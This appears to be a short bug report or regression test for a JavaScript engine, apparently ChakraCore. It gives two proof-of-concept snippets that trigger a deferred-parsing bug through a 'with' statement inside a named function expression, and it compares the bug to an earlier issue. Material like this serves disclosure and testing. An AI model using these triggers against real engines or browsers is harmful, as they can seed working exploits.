/* Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: */ // Enable the flag using '\n'.repeat(0x1000) eval(`(function f() { with ({}) { (function () { print(f); })(); } }());` + '\n'.repeat(0x1000)); PoC 2: // ./ch poc.js -ForceDeferParse (function f() { with ({}) { (function () { print(f); })(); } }());